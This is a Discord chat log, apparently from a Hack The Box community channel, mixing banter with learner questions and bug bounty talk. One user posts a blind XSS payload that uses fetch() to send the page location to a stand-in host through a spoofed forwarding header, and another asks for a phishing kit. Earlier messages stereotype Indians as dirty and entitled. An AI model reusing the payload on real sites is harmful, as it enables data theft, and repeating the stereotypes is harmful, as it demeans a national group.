general

[signal mica]

Damn

No littering bro

[sharp shuttle]

he said that throwing trash is normal in india, its someone elses job to pick it up

[devout sail]

ehehe took him 15 sex to get it

[signal mica]

Im finna fukc you face up real good

[devout sail]

Yes that's how it is here (or most of the place)
But he isn't in INDIA

[signal mica]

Even in india man

[sharp shuttle]

oh trust me, that company is india now xDDD

[signal mica]

Why would you do that

[hoary dawn]

Eh yea littering is one of them bare minimum things

There’s always a garbage nearby and if there ain’t ya pocket is

[sharp shuttle]

half the employee body did not speak english

you guys realize most fortune 500's are just indian H1B's being exploited here in america right?

[hoary dawn]

Yea that’s like where the meme come from don’t it

Memes expose truth more than people realize 🤣

[sharp shuttle]

its just not cool, less jobs for americans, and the jobs you guys get force you to work like animals at threat of deportation

[devout sail]

Lazy and people are egoistic

But you won't see them doing the same in a fancy cafe.

I remember when I was in mumbai,. Some fancy aah street

A guy who was chewing tobacco kept his mouth shut cuz scared of fine.

So with proper punishment it works ig?

[sharp shuttle]

imagine that

[next venture]

Azomaxxxxxxxxxx

[devout sail]

I have been to the dirtiest (i can imagine) places too

And man it was scary af

Imagine slums
The roads are thin, no light cuz packed
And you will have no idea who would throw what from where 💀

[sharp shuttle]

while i typically dont have an issue with indians, i would never visit that country

it may be one of the only ones i wont touch

[next venture]

India is big

[worthy cargo]

1.4 billion people

It's huge

[sharp shuttle]

im aware, i still dont think the few sites worth seeing are worth it

[devout sail]

Hmm you could try any of the major cities
The things the internet shows and the people you meet are from very specific areas

[worthy cargo]

why?

[sharp shuttle]

the list would be too long to go through

[worthy cargo]

Give me the major points

[sharp shuttle]

but if we had to pick one, unsanitary conditions is the major

[devout sail]

ehehe it's alright you can visit the neighbor china

[worthy cargo]

That's only in undeveloped areas. Developed areas are super clean

[sharp shuttle]

you mean tourist areas?

[worthy cargo]

I figured you would say that

[sharp shuttle]

thats true for every country

even america

[worthy cargo]

Not all of India is unsanitary

[sharp shuttle]

Thats fine, but there is no reason it should be mostly unsanitary

[worthy cargo]

There is plenty of reason

People there just don't give a shit.

[sharp shuttle]

like, okay since we are already here

[worthy cargo]

That's the major reason

[sharp shuttle]

your population is large enough that if everybody picked up just 3 pieces of trash a day, you guys could clean the entire surface of the country in like a week

[next venture]

Tbh i believe tourist places are the dirtiest

[sharp shuttle]

but nobody cares?

[worthy cargo]

Precisely

No one cares

They weren't taught to care

[devout sail]

Just so you know, I spent most of my school time picking trash 😢

It was punishment for going late to school

[sharp shuttle]

now you are understanding why i dont fancy a visit

i think the people should care

[worthy cargo]

Now?

[sharp shuttle]

you have had good discipline instilled in you

and thats why i like you shadow

and eggzy

and most of the indians here

[worthy cargo]

I'm not Indian

[sharp shuttle]

its not a critique on you, its the countries culture

[worthy cargo]

Whatever gave you that idea?

[next venture]

Trash picking in the ground?

[sharp shuttle]

the pfp?

[muted olive]

no one whos grown up cares about that shit tbh

[worthy cargo]

Nope

[next venture]

I mean school playground

[worthy cargo]

PFP is a meditating alien.

[muted olive]

true

[sharp shuttle]

i imagine they were nepobabies

and they were

[signal mica]

[devout sail]

We had huge ground, which always had the chips packet etc
So as a punishment i had to clean it till next bell rings

[next venture]

Yea

[muted olive]

i imagine they just had dumb ideas stuffed into their heads while growing up

[next venture]

I have been through that

[muted olive]

and therefore look down on "lower caste" people

when in reality no one cares... or shouldnt anyway

[devout sail]

Actually wrong

It's just the newer generation are better

[sharp shuttle]

thats my point, fortune 500 gets nothing done because EVERY hire is an entitled peice of shit, doesnt matter where they are from. its a breeding ground for entitlement

[next venture]

What's up

@signal mica rich yet?

[devout sail]

Hehe tbh even tho punishment was kinda hard to pick up trash for like 20m or so
I never fixed my punctuality

[muted olive]

not every, but someone who takes it up just because they can and not actually qualified or competent enough for that position shouldnt be working there

[next venture]

Xd

[sharp shuttle]

oooo i work at microsoft, im so cool! Im better than everyone even though my job is fake!!! INDUBIDABLY i had 18 meetings today, yes yes i am better than you

[muted olive]

wdym fake?

(i dont know what h1b people do these days)

[devout sail]

But responsibility will fix everything
Now i show up at work at 4.30am instead of 5am just cuz i don't wanna be late for the guy who's been awake whole night

[sharp shuttle]

fortune 500 needs to pad numbers, for tax reasons, most jobs are fake now

[muted olive]

oh

lol

[sharp shuttle]

its like how mcdonalds is a real estate company

[muted olive]

what are their responsibilities then?

[sharp shuttle]

they dont sell food

they collect properties

[devout sail]

Food is a side business? 💀

[sharp shuttle]

go to meetings, do busy work, usually in the form of spreadsheets, power points, that they present bi weekly

about

literally nothing

[muted olive]

lol

[sharp shuttle]

some of yall who have not worked coporate have no idea how souless it is

[muted olive]

would that include senior positions or?

[sharp shuttle]

absolutely

guys...

[muted olive]

do those people stay at those companies long?

lol

[sharp shuttle]

you stay longer the less you do

and if you try to do things

you make waves

they fire you

(happened to me 3 times)

they do not want to make things better

[next venture]

true well from ground up we were made so that we can be slaves to corporate

[sharp shuttle]

Microsoft has 228000 employees chat, it speaks for itself

[devout sail]

I would say fuck you to my company today if i had backups

[next venture]

[sharp shuttle]

oh yeah it used to be one reorg a year, now its like 6

[muted olive]

most fortunes have like ~12k-20k

[sharp shuttle]

and yet they still cant get anything fixed, done, or made

i can do literally anything with 5 people

[next venture]

Zumi Corleone is here

[sharp shuttle]

eh toneh

[winged ridge]

Is it weird that 2 gyms that shuts down every month in Europe because of electricity failures?

[sharp shuttle]

not strange at all, you guys are afraid of nuclear power

uh oh

what topic?

[next venture]

interesting

[winged ridge]

And I forgot to mention that there is one owner that buys them afterwards and them to a new gym with his own brand

[next venture]

I am out

[sharp shuttle]

ah so thats just normal fraud

well, sounds like you know what you need to focus on

get into gnuradio boy

also did you go to bsides?

[next venture]

Reverse engineering RF signals crazy

[sharp shuttle]

damn

next time

[sharp shuttle]

yeah its alot of work

[winged ridge]

And the new owner of these gyms has also experienced a electricty failures as well in his new gyms

[next venture]

[sharp shuttle]

sounds like the gym owner is a dipshit, just get some bikes and let the userbase power the gym

holy shit its not hard

many gyms in the US have equipment that generates electricity

[winged ridge]

Do you think hes a suspect for smthing?or is it normal

[sharp shuttle]

dawg that sounds like fraud 101

what gym owner is not a fraud?

bro is probably on peptides

[frail turtle]

gym is for people who want to destroy their bodies

[devout sail]

What do u do?

[austere sigil]

I touched some grass

[next venture]

exactly

[devout sail]

[sharp shuttle]

every gym ive ever joined had lawfare contracts that you cant get out of easily

thats fraud

[devout sail]

Statistically for me it's true

[austere sigil]

I need to rest now

[devout sail]

I joined 1 gym, got scammed

100% scam

[devout sail]

It's machine release day

[austere sigil]

BBQ today

[sharp shuttle]

Brathadair Barbecue

mmm

[frail turtle]

I am muscular and i dont go to any gym, my physique while not lean, isn't far from what ideal looks like

[sharp shuttle]

thats right hallicon

[spark mulch]

lol

[sharp shuttle]

you guys have 9 more minutes any burning questions?

[frail turtle]

I have a burning question

[next venture]

what's the value of Pi(only full answer is accepted)

[frail turtle]

Why did the people who made the standard modules for python make their docs difficult and annoying to navigate

[sharp shuttle]

3.14

[sharp shuttle]

because they were from the era of stackoverflow

[frail turtle]

https://tenor.com/view/vae-gif-15357506855217945854

[next venture]

I want full value

[sharp shuttle]

3.14 is the accepted full value

[devout sail]

Rounded to 5

[spark mulch]

i find python documentation some of the most readable

[static bloom]

where's the hype for the seasonal box in ~2hrs

[devout sail]

22/7

[spark mulch]

google and aws have the worst

[devout sail]

In new channel

[next venture]

in decimals plz

[devout sail]

We don't do that here

[sharp shuttle]

im more hyped by what your pfp did to me down under (im australian)

[deft sequoia]

Hey Brothers What's up

[frail turtle]

ofc python docs are readable.

[devout sail]

I'll say after you tell me the full value of phi

[frail turtle]

but try to find the methods for lists...

you'll need a whole hour

[signal mica]

From the new crypto chall madmath?

[next venture]

I cant reveal the answer now can I?

[deft sequoia]

i just need a little help

actuaally i m stucked in Firewall Evasion Section

is there any write up or something else ?
https://academy.hackthebox.com/app/module/19/section/117

[devout sail]

#modules

[stuck quartz]

okay i did it

[devout sail]

Idk

[frail turtle]

he stuck

[stuck quartz]

utilized netbird to connect into vm using ssh private keys

okay i m understanding something for sure

[devout sail]

What is netbird

[stuck quartz]

i would search on google before asking this question ngl

[next venture]

I ping @signal mica

I leave

[devout sail]

I would do something else

[stuck quartz]

XD

[frail turtle]

RRRAIDEN still trying to vpn to hackthebox 2 weeks from now

[signal mica]

Hahaha

[stuck quartz]

?

wym

[devout sail]

And he used the complex shit to do it in the end

[frail turtle]

im just messing with you bro

[devout sail]

Netbird

[stuck quartz]

this is good, even netbird cannot access ssh bcs of private keys

now i get it

[spark mulch]

what

[stuck quartz]

i m practicing module boomer

[devout sail]

[stuck quartz]

i m not connecting to a box or something

[devout sail]

Go fly

[proud dock]

Hyy

Do someone has a phishing kit?

[devout sail]

Nop

[supple plume]

I have Iphishpromax

[devout sail]

There's something called SET no?

[marsh shuttle]

should i use esxi or proxmox

[deft sequoia]

For >

?*

[austere sigil]

Well, I used ESXi in professional setitng and Proxmox in in my own environment and honestly both get the job done so I would advice you to try both and see what works best for you.

[south vapor]

[proud dock]

Got it

[tender sparrow]

where i can suggest improvements?

[proud dock]

What improvement

[austere sigil]

You can use /feedback for that.

[marsh shuttle]

i used proxmox before and its alr i never tried esxi

is esxi free tho

also im thinking about esxi because i have vmware workstation rn so it'll easier to use it and connect to vm instead of using web

[austere sigil]

Proxmox has been doing everything I need without forcing me to fight against it

[tender sparrow]

thanks submitted it, hope you read it

[marsh shuttle]

can this actually work tho

[austere sigil]

Suggestions can be viewed by employees of HTB and I'm not so I'm afraid I cannot.

[tender sparrow]

its better, you dont wanna read what i put in there

[random aurora]

I Feel burn oug

Out becasue

I see the news and study htb intro to academy still moving slowlly

[austere sigil]

Go for a walk to clear your head. Don't think about anything, just be in the moment.

[frail turtle]

god you gotta do everything around these parts yourself

oh you want a job? do everything to get an SE role

you want to cyber? gotta do everything related to hackings and defense

why can't someone just do all that work for me? 😭

have like a robot just take over for me while I watch samurai champloo

[devout sail]

Make clones

[hoary dawn]

I bought a usb off Temu to practice with

And I accidentally bought a knock off ducky

It was supposed to be solder practice 💀

[patent lily]

AI bro

Just be like hey chatgpt do my job

[stuck quartz]

instead of copy pasting bash script from academy i decided spend 30 min to understand everything and do manually

[frail turtle]

If only one coukd. Haha if only.

[stuck quartz]

this is the level of copium i m doing just to not get called script kiddie

[patent lily]

soon™

[hoary dawn]

There is absolutely no better feeling than really coding so I feel you man

[frail turtle]

Theres nothing wrong with being a skid.

Im a skid.

Well not wholly

But in terms of hacking im a complete skid

[hoary dawn]

I love the progress ai helps you reach but it will never feel as good as creating something from scratch barely even needing to make a google search either

[stuck quartz]

not like i cannot understand anything in script XD but i think i should drop this shi bcs otherwise using linux alone is being script kiddie

[patent lily]

learn it

it's not hard

[stuck quartz]

learn what ?

[patent lily]

What you need to understand the scripts

[stuck quartz]

no i m saying i can understand scripts and all but copy pasting that script and running it feels like being script kiddie that's why i did everything manually

[frail turtle]

Youll be alright bro just hold the attack button.

Or press it repeatedly

[stuck quartz]

XD

[supple plume]

This is the good path doing things manually to learn

[stuck quartz]

ahh

i m not that much newbie

maybe i do sound like one

i have made scripts with bash using api and i know python XD

[stuck quartz]

yea XD copy pasting script feels wrong kekw especially when there something i dont know in it

i always search what's getting used inside before copy pasting as well

[spark mulch]

it's one thing to be a script kiddie but it's another thing to be like "Ok, I know python, and I could spend hours writing this exploit for this CVE, but someone already did it so I'm wasting my time"

writing it yourself is still cool for it's own sake, though

[stuck quartz]

yeaa it'd be waste of time so i think i'll accept using scripts made by others

[patent lily]

nih syndrome

[stuck quartz]

i'll just modify if something is weird

[spark mulch]

i mean if you weren't going to use things made by others

you'd be writing nmap

[stuck quartz]

blame the internet for calling being script kiddie totally bullshi

it traumatized me

[spark mulch]

which again, would be a cool project

[stuck quartz]

i fear being script kiddie

[stuck quartz]

yea but another waste of time kekw

i mean using python itself is being script kiddy then 🤣

i should start with assembly then

kekw

[patent lily]

A skid is someone who doesn't understand shit even if they opened some impacket example they'd be like hurr durr it haz the codes

You're not a skid for using tools someone else wrote

[stuck quartz]

got it

o7

[patent lily]

not just doesn't understand that's normal not to understand but they don't try to understand either if it works it works if it errors oh well

[spark mulch]

being a script kiddie used to be meaningful, but the culture shifted a lot. It used to be irc channels where experienced pwners would develop exploits, and then kids and noobs would get hold of those exploits, not understand how they work or their implications, and then do reckless damage with them.

There are still script kiddies, they just use stuff like "DDOS THE OTHER KID ON XBOX" stuff and sit in weird discords where they pretend to be pwners and make fancam reels of like a publically exposed login page for a low-stakes service on the nasa website or something with like blood skulls flashing and some genre of music I can't even speculate about playing in the background

[patent lily]

skidcore death post punk classical metal

[devout sail]

https://tenor.com/view/breakdance-meme-cat-tallyhall-i-understood-that-reference-gif-10142314866107564459

[zealous charm]

[random aurora]

Alright but sometimes we need some rest

[frigid mountain]

sup?

[austere sigil]

BBQ season has been successfully initiated.

[gilded yacht]

@pine mauve ah foun you here as well

[devout sail]

How many pineapples and potatoes

[austere sigil]

zero pineapples and plenty of potatoes

[devout sail]

Hmm works

[austere sigil]

It was good

[devout sail]

"was"

Can't sneak in now

[austere sigil]

i have some just for you

[signal mica]

[thick forge]

[zealous charm]

[austere sigil]

[devout sail]

[devout sail]

No fun now, sneaking like a raccoon is fun

https://tenor.com/view/acorns-reccuring-gif-23825936

[pine mauve]

yo!!

[frozen zinc]

youtube 2026
https://www.youtube.com/watch?v=28oh4FKw6iA

[patent lily]

Why does he sound like an AI

Did bro vibecode his voice too

[frozen zinc]

OPSEC

One of those...

[slate whale]

Is 70-80*C cpu normal on discord ?

[austere sigil]

no

[slate whale]

60*C in winter

[austere sigil]

that's rather high I think

[slate whale]

I should maybe put a fan next to my laptop

[alpine pumice]

should be in the 30's

[austere sigil]

Check your running process and maybe there's something that is consuming precious resources

[alpine pumice]

You're either running something heavy or your CPU can't breathe

[austere sigil]

Also, how powerful is your CPU? if it's a bit older then it might be struggling

[signal mica]

Maybe he is solving a crypto challenge

And doing factorization

[patent lily]

my cpu could fry an egg just from watching youtube video

[austere sigil]

how old is your cpu?

[patent lily]

not too old I think

Amd ryzen 7000

[austere sigil]

should be ok

[pastel pike]

new UI is just ugh...

sorry not sorry

I've sent feedback but I'm not hopeful any of it will be implemented

like when I'm inside of the AD module in the CPTS course for example, I have to individually click each dropdown to try to find the subsection that I'm looking for when going back through the course material.

makes it so frustrating trying to find what I'm looking for when before it was so much simpler.

[hoary dawn]

rCMD

bruh

i plugged that usb in

it started typing in here bruh

i took that shit out so fast

i just happened to have this open when i plugged it in 💀

it started typing "THIS IS A TEST" into here after it typed rcmd 😭

[alpine pumice]

you almost got got

[hoary dawn]

lmfaoo

i was shaking as i plugged it in knowing it came from some chinese warehouse as it is

[alpine pumice]

malduino clone?

[hoary dawn]

apparently its called a wifi duck whatever the hell that means

[alpine pumice]

ahh rubber ducky wannabe

[hoary dawn]

i was interested in how usbs worked so i bought it

[alpine pumice]

that is a malduino

[hoary dawn]

literally not realizing it was a knockoff ducky

[alpine pumice]

badusb

[hoary dawn]

ah ok

yea, i literally just wanted to make my own usb bruh

so i can like change OS easily and whatnot

[sharp coral]

hello guys i have newly joined this server

[hoary dawn]

ended up with larp tool

[alpine pumice]

lol that's not at all what its purpose is

[hoary dawn]

i know i know this is like that shit from mr robot

gain ceo trust get into his home

secretly plug into back of computer

movie type shit lmfao

[alpine pumice]

@mystic harbor /verifycertification ??

[mystic harbor]

It was just a meme

soon soon

[alpine pumice]

ur a meme

[pastel pike]

how far in are you

[fathom fractal]

Hi everyone 👋
I'm new here and interested in cybersecurity and learning more about hacking and security tools.
Nice to meet you all.

[alpine pumice]

Welcome

I'd recommend doing Academy modules if you want to learn

[austere sigil]

welcome welcome

[fathom fractal]

[fathom fractal]

I have already learned a lot

[alpine pumice]

Probably get a better response in #programming

[fathom fractal]

Ahaa

Okay okay thank you bro

[alpine pumice]

There's also #resources-tools

[fathom fractal]

You the best

[crimson crypt]

Hey guys, how’s it going? I just finished a 6 hour session on Dante and I’m still missing 5 flags. It’s not a difficult box, but damn, all these flags are stressing me out…

[zealous charm]

[silver forge]

https://tenor.com/view/monkey-skate-board-skate-orangutan-cool-gif-15021178819801542115

[turbid bloom]

how do i connect to pwnbox using openvpn file?

[alpine pumice]

You don't. The Pwnbox is a standalone VM for you to use without the VPN. The VPN is for your virtual machine.

[turbid bloom]

ohhh

[river adder]

H3110 3v3r1b0d1

[turbid bloom]

how do i use the open vpn then?

yea i misunderstood open vpn files 😅

[obtuse fern]

Cringe

[alpine pumice]

you download the vpn file and open it with openvpn in your vm

[turbid bloom]

that's it?

[obtuse fern]

sudo openvpn /path/to/<vpnfilename>.ovpn

[turbid bloom]

daym that's simple.

thanks for that guys

[turbid bloom]

what's the password for the ssh again?

[iron galleon]

please change your username to thesunbear25

[turbid bloom]

;-;

[eternal widget]

yo

[iron galleon]

sun bear

[turbid bloom]

why ;-;

[iron galleon]

https://tenor.com/bMHZU.gif

[turbid bloom]

💀

i can't figure out the password of the daym ssh connection

been a while since i've opened pwnbox

meh found it nvm

[dusky raft]

Hey ladies and gentlemen and other species, is it worth to report about an application's Web Application Firewall (WAF) that implements strict filtering on standard client-identity headers (e.g., X-Forwarded-For) BUT BUT BUT However, this security layer can be bypassed by using non-standard or secondary headers (e.g., X-Forwarded-For-2) The backend server ingests these secondary headers without validation, allowing for potential Stored/Blind XSS (I'm waiting for XSS to fire and receive something on my end BUT BUT BUT just in case I wanna know)

[frail turtle]

I think if you pay msrp for a console controller you're probably not very bright

[frail turtle]

Only if you're getting paid to do so

[dusky raft]

Just to note it's an important login page not a search input field or smth

[dusky raft]

BBP

[iron galleon]

i paid something like $150 for an xbox series x controller

[frail turtle]

it's not a bug but if theyre paying you then yes. it's a security hole

[molten bobcat]

I mean if you can prove it yes it's a bug

[frail turtle]

because at that point it could be the company that made the firewall

[iron galleon]

im not getting someone's used sweat juice on my hands bro

i got a new controller

[frail turtle]

but it could also be the user/client

[dusky raft]

I don't actually know if I'm gonna get paid for it or nah should I just wait for like 7 days until the XSS fires (HOPING IT FIRES)

[frail turtle]

dude I remember one guy on here

he reported a mid level bug to nasa

they sent him a thank you letter... that's it.

didnt even offer to pay his internet bill

[dusky raft]

Yea I receive 200 Status code and the headers contain my input

x-forwarded-for-2
---.0.0.0"><img src=x onerror="fetch('https://meow.example.com?c='+document.location)">

[silver forge]

lesson: always sell the vulnerabilities, never give them for free

[molten bobcat]

Stored headers doesn't necessarily mean there's parsing being done on it

[dusky raft]

At least book the guy a moon tirp with Elon musk or smth

[dusky raft]

how do I know then

[molten bobcat]

NASA and Elon are separate entities

[molten bobcat]

You don't

That would be why it's called Blind XSS

[dusky raft]

Oh SpaceX ma bad

[molten bobcat]

Unless you can see your input reflected

[dusky raft]

lol makes sense

[molten bobcat]

Yep

[dusky raft]

Nah

[frail turtle]

is XSS even on the rules of engagement?

[molten bobcat]

Blind ones can potentially store data and parse but not directly reflect back to the page

[frail turtle]

most bbp's i know say not to do it

[dusky raft]

But at least the request gets sent normally I kept receiving 403 400 etc

this was the only 200 out there

[molten bobcat]

Just do your best on the report and report it

[silver forge]

elon funded NASA

[dusky raft]

Aight tysm for the advice and tips

[frail turtle]

elon actually asked to borrow 19 billion for spacex

[molten bobcat]

My advice is better for the defense side of life but I've been dabbling in web

[frail turtle]

they gave it to him

[dusky raft]

I C I just noticed that your a blue team professional but that was useful

[molten bobcat]

My first ever report was marked as informative haha

[frail turtle]

you forgot to add the word angry

[dusky raft]

Mine was a P3 but N/A sadly

[molten bobcat]

Yeah mines not applicable because they don't use the software anymore

And im like?? Okay

Why's it on your bug bounty board then bro

Lmao

Why bother having it in scope

[dusky raft]

If It's in the Scope then it should be Applicable ?

[molten bobcat]

Thats correct im saying they put it on there by mistake lol

They were lazy and just named their github repo with a wildcard

[dusky raft]

Bruh that's their mistake
Maybe they're avoiding to pay?

[molten bobcat]

Nah it's just lazy

[dusky raft]

Goofy

[molten bobcat]

Their whole github repo is in scopr

But they don't use the full repo

[dusky raft]

ohh

Hopefully they edited it after this

[molten bobcat]

So what's gonna be impactful for them is now a guessing game

No it's been reported before

Still unfixed

[dusky raft]

yea that's dumbness

[dusky raft]

😭

[molten bobcat]

Basically I found that their log parser didn't correctly check for JSON format

When attempting to redact credentials..

So it just.. doesn't redact lmao

[dusky raft]

And it's still unfixed ? or they've fixed it and they still have the whole repo in scope

[molten bobcat]

Neither

Closed out as info, item is still in scope and still broken lol

But that's cuz they don't use it

So it's not their problem

But my question is why is unused software in your testing scope?

And the answer? They're just not smart

Haha

[dusky raft]

If they had fixed it and item is still in-scope that would be suspicious

[molten bobcat]

Software hasnt been updated in years

Ive decided to go the source code review route

Direct site testing and feeling around for weird behavior is something I've yet to play with

[dusky raft]

Oh then It's not uncommon to not find any vulnerabilities
But still it's their fault for being lazy to edit the BBP

[molten bobcat]

Indeeeed

[dusky raft]

Does BugCrowd/Hackerone support teams do something about these stuff?

[molten bobcat]

The triage was done by them lol

So im guessing the answer is no

[dusky raft]

🥀

Actually I thought that companies have their own staff who makes sure if the bug is real or not

[molten bobcat]

They can

[dusky raft]

So it differes from a BBP to another

[molten bobcat]

You got it

Unfortunately "it depends" is an answer for a lot of cybersecurity questions lol

[dusky raft]

yeaa

almost everytime I ask something about a web app security the first answer I get hit with "It depends--"

[molten bobcat]

Hooray

[supple plume]

I got root before user

[dusky raft]

Congrats (Idk if it's hard to solve it or not)

[molten bobcat]

Lmao

[supple plume]

xd

[molten bobcat]

Best way to get user is to simply get root

https://tenor.com/view/my-goodness-what-an-idea-why-didnt-i-facepalm-the-simpsons-gif-17489109

[silver forge]

machine gets points towards rank for every hacker that rage quits the platform

[supple plume]

a bit

[dusky raft]

Why the dolphin has a pistol right next to his head?

[supple plume]

because he is a fucking idiot

🐬

[dusky raft]

makes sense

[molten bobcat]

First of all

Thats a whale not a dolphin

And second that's a security camera not a gun

[dusky raft]

bruhh

[dusky raft]

It looked like a dolphin

[molten bobcat]

Gotta zoom in

📹 🐳

[dusky raft]

I had submitted a report about a site .map not being filtered out by the WAF 24h ago
So I can download the .map and use reverse engineering to get source code of all the js files on the website
and still no response what should I do ?

[molten bobcat]

.. uhh

[dusky raft]

(PS I downloaded all the js files to check for code vulnerabilities but should have done that before submitting)

[molten bobcat]

No se

Lo siento

[frail turtle]

no thats a dolphin 100%

[supple plume]

it's a Hallicon

[dusky raft]

It's fine in spanish

[dusky raft]

What's a Hallicon

[molten bobcat]

"estas bien"

[supple plume]

ESTOY DE PUTA MADRE

[dusky raft]

gracias

[supple plume]

estas = these (female plural)
estás = you are

[molten bobcat]

Yep sorry

Im correcting

It's esta

Cuz

Estas bien?

Is a question

Asking if someone's okay

Ugh. Estás bien.

Está bien I believe is "okay!"

[supple plume]

Está bien = it's ok

[dusky raft]

isn't it are you ok?

[dusky raft]

oh ok

[supple plume]

estás bien = you're ok

¿Estás bien? = are you ok?

[molten bobcat]

Spanish is a fun language

You can pick up key words and guess the rest of the sentence

Grammar wise you just make everything match

[dusky raft]

people think that your pfp is the start of a terminal >_
but everytime I see it looks like the half of the >_<

_

_<

[dusky raft]

_< CATTTTTTTTTTTT

[molten bobcat]

Thats my buddy Tidus

[dusky raft]

Tidus top g the runner of the hood

[supple plume]

and what is this

[dusky raft]

We all know what is that...

[molten bobcat]

https://www.8bitdo.com/retro-mechanical-keyboard/

[dusky raft]

It's a nintendo console or smth right?

[molten bobcat]

It's a keyboard

[dreamy robin]

anyone else had issues with the payment terminal not properly loading its elements?

i bought a voucher instead but its not landing in my mailbox either so im being sad x)

[dusky raft]

huh

[supple plume]

I dont believe it

[molten bobcat]

It just has big buttons and a joystick because it's inspired by retro video games

[dusky raft]

Clear your browser cookies and cache probably will work

[dreamy robin]

had it happen accross 2 browsers and with my DNS server disabled

[molten bobcat]

.. what's dns gonna do for all that lmao

[dreamy robin]

i have a overly tight adblocks DNS that tends to be a bit to agressive

[molten bobcat]

Ah

[dreamy robin]

hence disabling it tends to fix traffic sometime before i can whitelist the query in question

[dusky raft]

You can either restart the router or use a neighbor's pc

tell em it's for hacking

[supple plume]

@stone kelp WHERE IS YOUR ADVANCED DNS AUTH BYPASS EXPLOIT

or the 1000 terabyte to 1kb compressor

[dreamy robin]

well i just bought a voucher and for some reason that payment went fine ( same provider, recurly but diffrent page) but now the voucher doesnt arrive either but the bill did.

So i guess im just being annoyed that i cant play some more on the weekend.

[dusky raft]

exam voucher ?

[dreamy robin]

nah giftcard with 30 bucks on it, to buy a months sub

https://imgur.com/a/w2cSuCd

[supple plume]

@stone kelp get ragebaited and say something stupid so you can get banned

[dusky raft]

You can contact the support team and submit a ticket that you were billed but haven't received the voucher

[terse dirge]

I love DNS, it always works great for me

[supple plume]

@molten bobcat hey

[molten bobcat]

Awee

Das my boy

[dusky raft]

that XSS bughunter trigger page is emptier than my life

[molten bobcat]

.. to shreds you say?

[dusky raft]

Indeed

[dreamy robin]

since im not a premium account ( voucher still in the mail XD ) i dont have the option to open a ticket, is there perhaps a email adress i can reach out to

then it wont be fixed this weekend but atleast ill still get access eventually x)

[west lynx]

https://help.hackthebox.com/en/articles/5986762-contacting-htb-support

[molten bobcat]

Kakow

[obtuse fern]

you don't need to be a paid user to access support

[dreamy robin]

My bad, the support flag wasnt visible under labs but it is under academy

[supple plume]

@obtuse fern

hello!

[supple plume]

check DZ

[obtuse fern]

they are separate locations on each platform; labs is under a different button

[supple plume]

root before user

[obtuse fern]

that's really not my problem dude

[dense turtle]

gm chat

[sharp shuttle]

thats how you know they cheated

[obtuse fern]

and I'd appreciate you to stop pinging me for shit like that

[supple plume]

is not even a problem

[molten bobcat]

Marcie relaaaaax

He was sharing an accomplishment

[supple plume]

I pwned very early on release there was imposible to cheat

[molten bobcat]

[obtuse fern]

thought he was reporting a cheater lmao

[sharp shuttle]

im just joking man

[supple plume]

🥀

[sharp shuttle]

marcie i need to report a cheater

[frigid mountain]

I identify as a Problem.

[sharp shuttle]

[obtuse fern]

but at the same time i really don't care; i'm not paid by HTB to care, i'm not paid by them at all actually

[molten bobcat]

People in public were kind and polite to me today so I'm having a wonderful day so far

[frigid mountain]

I forgot to change shoes so now I'm at the VA for and MRI in my slippers.

[obtuse fern]

better than barefoot

[sharp shuttle]

you good bro?

[frigid mountain]

Don't threaten me with a good time.

[obtuse fern]

doing stuff for VA assistance i assume?

more things that prolong them actually helping you

[molten bobcat]

I mean he's literally getting an MRI

Im surprised your VA has one of their own

[frigid mountain]

I smashed my knee into the dash of a jeep in a car accident early last year and it bruised up but was OK. Then a few months ago it wasn't.

[molten bobcat]

Yeesh

[obtuse fern]

aw man that's fuckin rough

[molten bobcat]

Im sorry dude

I hope you can get some answers and relief soon dude

[obtuse fern]

MRI to see if it's the kneecap that's fucked/some other stuff I assume?

[frigid mountain]

I'm pretty sure the diagnosis is going to be that I'm old and that's how my knee is now.

Thanks everybody

[obtuse fern]

diagnosis: old

[frigid mountain]

MRI for soft tissue inspection. Xrays do bones only.

[obtuse fern]

ailment duration: terminal

[sharp shuttle]

perhaps they will prescribe jeep to the other knee to balance you out

[molten bobcat]

Balance in all things

[obtuse fern]

Do or do not, there is no try

[molten bobcat]

My goal today

[sharp shuttle]

kneep

[molten bobcat]

Is to

[frigid mountain]

https://tenor.com/view/family-guy-family-guy-gif-981845594009437476

[molten bobcat]

Clean and organize my room

Well, office i guess

[sharp shuttle]

omg chat hes cleaning the nest

[molten bobcat]

Moreso officially unpacking and organizing all my random tech junk

[frigid mountain]

I've been trying this all week. Some progress but mostly just moving piles around. I have a hamper full of clothes for goodwill donation tho

[obtuse fern]

I did a bit of stuff today, cleaned up some stuff, threw some stuff out, moved wood from one location to another

[molten bobcat]

I had to dig through boxes to find a charger for my DS lmao

[sharp shuttle]

motivation: DS

[frigid mountain]

Tech people problems.

[obtuse fern]

oh cloud, is it an OG DS? Those clunky bastards

[sharp shuttle]

next time i need cloud to do something ill hide something he wants in the area i need cleaned

[molten bobcat]

I have this one

[obtuse fern]

oh DSi it looks like

[molten bobcat]

Nope

New 2ds XL

[obtuse fern]

ah

right

those exist

Nintendo: Too much 3d, people don't like, what if we made it flat

[frigid mountain]

I played Baldurs Gate 3 last night and tonight. Trying to break 700 hrs. I spent hours looking for a Maul hammer for my dwarf.

[sharp shuttle]

if one more ant crawls on me im ganna LOSE IT

[obtuse fern]

what if it's antman trying to get your attention

[sharp shuttle]

whos antman

the kitchengun guy?

[obtuse fern]

Brath

[molten bobcat]

https://tenor.com/view/ant-man-paul-rudd-shrinking-growing-shrink-gif-26322345

[sharp shuttle]

https://tenor.com/view/i-love-you-kitchen-gun-kitchen-gun-bbc-kitchen-gun-gif-2074713026121495613

oh right im thinking of the tick

i legit forgot antman existed

[obtuse fern]

you're fucking with me and I know it ( )

[sharp shuttle]

no im serious

i havent watched a marvel movie since endgame

[obtuse fern]

Marvel did too

it's ok

[molten bobcat]

Ant man was in this movie

[sharp shuttle]

yeah but that guy is like..

romcom ryan reynolds

[molten bobcat]

.. his name is Paul Rudd.

But i agree

[sharp shuttle]

they both play the same character in every movie

like

[sharp shuttle]

name your favorite pail rudd movie

[molten bobcat]

I love you, Man

[sharp shuttle]

ah yeah but when i think of that one i think of the how i met your mother guy

[molten bobcat]

Please understand that I'm kidding lmao

Neil Patrick Harris??

[sharp shuttle]

i wouldnt have judged i like romcoms

no

segal

jason?

steven?

idk

[molten bobcat]

Nah it's jason

[sharp shuttle]

okay yeah, hes pretty cool

[obtuse fern]

we know how you feel about brath, but what's your favorite Paul Rudd movie

[sharp shuttle]

40 yr old virgin

this is 40 is literally the same cast which is strange

but its seperated universally

[austere sinew]

who's paul rudd?

[sharp shuttle]

nobody wolo

[molten bobcat]

I love Steve Carell

Lmao

[sharp shuttle]

just drop it before it gets dangerous

[austere sinew]

😭

[molten bobcat]

We're talking about actors lol

